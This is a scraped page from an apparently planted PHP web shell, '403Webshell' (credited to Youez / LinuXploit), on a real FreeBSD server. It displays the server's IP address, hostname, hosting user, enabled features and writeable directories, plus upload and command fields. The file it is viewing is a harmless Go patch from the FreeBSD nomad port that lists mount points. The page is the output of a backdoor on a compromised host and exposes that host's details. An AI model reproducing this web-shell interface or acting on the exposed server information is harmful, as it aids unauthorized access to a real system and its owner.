403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/nomad/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/nomad/files/patch-command_agent_host_freebsd.go
--- command/agent/host/freebsd.go.orig	2020-07-24 18:38:57 UTC
+++ command/agent/host/freebsd.go
@@ -0,0 +1,50 @@
+// +build freebsd
+
+package host
+
+import (
+	"syscall"
+)
+
+func IntToString(orig []int8) string {
+	ret := make([]byte, len(orig))
+	size := -1
+	for i, o := range orig {
+		if o == 0 {
+			size = i
+			break
+		}
+		ret[i] = byte(o)
+	}
+	if size == -1 {
+		size = len(orig)
+	}
+
+	return string(ret[0:size])
+}
+
+// mountedPaths produces a list of mounts
+func mountedPaths() []string {
+	var paths []string
+
+	n, err := syscall.Getfsstat(nil, 1)
+	if err != nil {
+		return []string{err.Error()}
+	}
+
+	data := make([]syscall.Statfs_t, n)
+	_, err = syscall.Getfsstat(data, 1)
+	if err != nil {
+		return []string{err.Error()}
+	}
+
+	empty := syscall.Statfs_t{}
+	for _, stat := range data {
+		if stat == empty {
+			return []string{"empy stat struct returned"}
+		}
+		paths = append(paths, IntToString(stat.Mntonname[:]))
+	}
+
+	return paths
+}

Youez - 2016 - github.com/yon3zu
LinuXploit